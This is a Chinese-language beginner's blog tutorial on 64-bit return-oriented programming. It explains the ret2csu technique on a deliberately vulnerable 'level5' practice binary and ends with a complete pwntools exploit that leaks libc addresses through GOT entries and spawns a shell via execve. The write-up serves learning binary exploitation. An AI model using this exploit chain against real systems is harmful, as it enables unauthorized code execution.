再探ROP(上)

0x00 前言

畢設和論文要搞吐了,再加上實習駐場事情,近期又要開始準備HW的事情,只能先更新一部分。

0x01 從x86到x64

之前的rop都是32bit的程序,由於這篇文章涉及的方法用於64bit的程序,這裏先說一下兩者的區別,做一下過渡。
首先是寄存器傳參和堆棧傳參的區別,這裏以一個例子說明

在這裏插入圖片描述

在32bit的程序中,如上圖所示,在函數調用前,參數會被依次入棧;然而再64bit的同一個程序中,如下圖所示,在函數調用前,參數會被放入寄存器中。兩者進入函數後都會依照相應的規則去調用對應的參數,這裏說一下x64寄存器使用的順序:分別用rdi,rsi,rdx,rcx,r8,r9作爲第1-6個參數。(如果參數過多會被放在棧中)

在這裏插入圖片描述

再提一個小點,雖然價值不大,對於我這種初學者來說更加深了理解,繼續看

在這裏插入圖片描述
在這裏插入圖片描述

來看read函數,可以發現剛纔說的一樣,傳參一個是棧,一個寄存器。無論是哪種方式,buf參數最終都會讀到棧裏面,不一樣的只不過是buf的中間傳遞介質。
其它的區別這裏就不再展開細說,如果感興趣詳細瞭解請見https://blog.csdn.net/qq_29343201/article/details/51278798

0x02 ret2csu

經過一番知識鋪墊,那麼現在開始進入正題
使用蒸米師傅的例子

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

我們先分析一下再去驗證
題目的前提:
1、X64程序,寄存器傳參
2、程序中找不到system()等可利用函數和"/bin/sh"類似的字符串
3、使用ROPgadget無法找到可利用的片段,具體可以見初探ROP 中的ret2syscall章節

按照以往(上一篇文章)的手法,針對於前提2,我們使用ret2libc進行繞過,具體詳見初探ROP 中的ret2libc章節的第三種情況,但是忽略了一點X64是寄存器傳參,那麼system()或者execve()函數的參數在寄存器保存着,那麼怎麼給寄存器賦予響應的值呢?很簡單,類似ret2syscall手法,進行一系列出棧操作即可(達到mov的目的),但是前提3導致我們搜索不到可利用的片段,似乎山窮水盡了,那麼我們怎麼辦呢?
這個時候就應該尋找新的利用手法,也就是ret2csu,其實就是利用<__libc_csu_init>,ta是在libc.so裏面,一般來說,只要程序調用了libc.so,程序都會有這個函數用來對libc進行初始化操作,可以說是通用gadgets。
來看一下這個神祕的函數

0000000000000760 <__libc_csu_init>:
 760:	41 57                	push   %r15
 762:	41 56                	push   %r14
 764:	41 89 ff             	mov    %edi,%r15d
 767:	41 55                	push   %r13
 769:	41 54                	push   %r12
 76b:	4c 8d 25 56 06 20 00 	lea    0x200656(%rip),%r12     
 772:	55                   	push   %rbp
 773:	48 8d 2d 56 06 20 00 	lea    0x200656(%rip),%rbp   
 77a:	53                   	push   %rbx
 77b:	49 89 f6             	mov    %rsi,%r14
 77e:	49 89 d5             	mov    %rdx,%r13
 781:	4c 29 e5             	sub    %r12,%rbp
 784:	48 83 ec 08          	sub    $0x8,%rsp
 788:	48 c1 fd 03          	sar    $0x3,%rbp
 78c:	e8 e7 fd ff ff       	callq  578 <_init>
 791:	48 85 ed             	test   %rbp,%rbp
 794:	74 20                	je     7b6 <__libc_csu_init+0x56>
 796:	31 db                	xor    %ebx,%ebx
 798:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)
 79f:	00 
 7a0:	4c 89 ea             	mov    %r13,%rdx
 7a3:	4c 89 f6             	mov    %r14,%rsi
 7a6:	44 89 ff             	mov    %r15d,%edi
 7a9:	41 ff 14 dc          	callq  *(%r12,%rbx,8)
 7ad:	48 83 c3 01          	add    $0x1,%rbx
 7b1:	48 39 dd             	cmp    %rbx,%rbp
 7b4:	75 ea                	jne    7a0 <__libc_csu_init+0x40>
 7b6:	48 83 c4 08          	add    $0x8,%rsp
 7ba:	5b                   	pop    %rbx
 7bb:	5d                   	pop    %rbp
 7bc:	41 5c                	pop    %r12
 7be:	41 5d                	pop    %r13
 7c0:	41 5e                	pop    %r14
 7c2:	41 5f                	pop    %r15
 7c4:	c3                   	retq   
 7c5:	90                   	nop
 7c6:	66 2e 0f 1f 84 00 00 	nopw   %cs:0x0(%rax,%rax,1)
 7cd:	00 00 00 

剛纔巴拉巴拉了不少,這裏還是得先明確一下我們使用<__libc_csu_init>的目的:
由於寄存器傳參的特性,我們需要把相應的參數值保存到相應寄存器中供後續函數進行調用,寄存器存參數的順序爲:rdi,rsi,rdx,rcx,r8,r9,所以我們使用此函數的片段來達到控制寄存器得目的。
繼續看此神祕函數,能改變上述寄存器的值是這幾處,如下圖所示:

在這裏插入圖片描述

既然有了可以控制點,那麼就想辦法怎麼去利用?簡單畫一下流程,能夠更好理解是怎麼利用。

在這裏插入圖片描述

能夠通過棧溢出得直接控制點就是幾個出棧得地方,可以發現通過這幾條指令可以完美的控制寄存器得值,然後通過後續程序可以間接控制參數寄存器得值。
因爲gadgets一般選擇ret結尾得片段,這樣可以達到控制程序執行的目的。這裏只要將堆棧中h中值填爲0x7a0,即可繼續執行下一段gadgets,通過mov指令間接控制了rsi,rdx、rdi寄存器
繼續往下看

在這裏插入圖片描述

剛纔通過控制控制rip的值使得程序從mov %r13 %rdx處繼續執行,在②處對兩個參數寄存器進行了傳值,然後進行調用函數,由於callq指令的性質,此函數的地址根據*(%r12,%rbx,8)的值來尋找,也就是找到X的地方進行執行,之後兩次ret進行控制rip寄存器,也就是繼續掌控程序執行的下條指令的位置所在。
通過以上分析,可以發現此ROP鏈能夠完成一個強大的功能,那就是可以完成一個函數的調用。
根據上一篇文章所提到的ret2libc的第三種利用方式,可以通過write或者put等一系列打印性質的函數讀出某個函數的got表內容,從而確定libc中system或者execve等執行性質函數的位置所在,進而達到getshell的目的。
當然這只是理想情況,爲什麼這麼說呢?
回到<__libc_csu_init>中

在這裏插入圖片描述

兩個gadgets之間還有一個jne條狀,也就是說如果ZF=1(%rbx==%rbp),那麼就不會跳轉,按照我們剛纔設計的順序去執行。所以我們再剛纔的基礎上再去控制一下ZF=1即可。簡單陳列一下條件:
一、r13和r12寄存器中需要從棧中讀到所需要參數的位置,進而可以控制rdx和rsi寄存器的值
二、讓rbx的值爲0(當然也可以不爲0,只是這樣構造函數的地址方便),那麼*(%r12,%rbx,8)就成了*%r12,只需要讓r12寄存器從棧中讀到所需要函數的地址即可。
三、爲了讓ZF=1,也就是rbp和rbx寄存器的值相等,既然rbx已經爲0了,通過add指令到達cmp比較時它爲1,因此rbp也需要爲1,讓rbx寄存器從棧中讀取1即可。
以上三個條件完成後,此ROP鏈配合上棧溢出漏洞就可以輕鬆地完成某一函數地調用過程了。

其實明白了ret2csu地原理,上述地例子地做法就很靈活了,我們再來分析:
一、存在棧溢出漏洞
二、可以一條完成任意函數功能的ROP鏈
三、條件二完成,我們依然可以控制程序的執行
有了這三個條件,做法的靈活性就體現出來,比如可以執行完write函數泄露write的GOT表地址後再去執行main()或者_start函數繼續構造棧中內容執行execve達到getshell的目的。

這裏使用上述方法,基礎內容不再贅述,詳細可以見上一篇文章(初探ROP)來了解。
通過gdb調試可以計算出偏移是0x80+0x8

在這裏插入圖片描述

這裏有一點還是盲區:callq *(%r12,%rbx,8)這一指令是間接調用函數,類似於它訪問是一個指針,一個指向真實目的的指針。因爲後續需要調用execve函數,但是我們需要提供指向其地址的指針的地址,所以用bss段的空間進行保存。不再說廢話佔用篇幅了,做一個總結,如果想仔細瞭解,

  • List item

歡迎閱讀之前的文章。如下圖所示,確定堆棧上的構造

在這裏插入圖片描述

根據以上構造給出exp(個人不習慣用LibcSearcher)

from pwn import *

level5 = ELF('./level5')
sh = process('./level5')
libc = level5.libc

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x4005e0
csu_end_addr = 0x4005fa
fakeebp = 'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
    payload = 'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    sleep(1)

sh.recvuntil('Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
print hex(write_addr)
libc.address = write_addr - libc.symbols['write']
execve_addr = libc.symbols['execve']
log.success('execve_addr ' + hex(execve_addr))

sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\0')

sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

0x03 尾記

還未入門,詳細記錄每個知識點,爲了能更好地溫故知新,也希望能幫助和我一樣想要入門二進制安全的初學者,如有錯誤,希望大佬們指出。
另見: http://bey0nd.xyz/2020/04/07/1/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章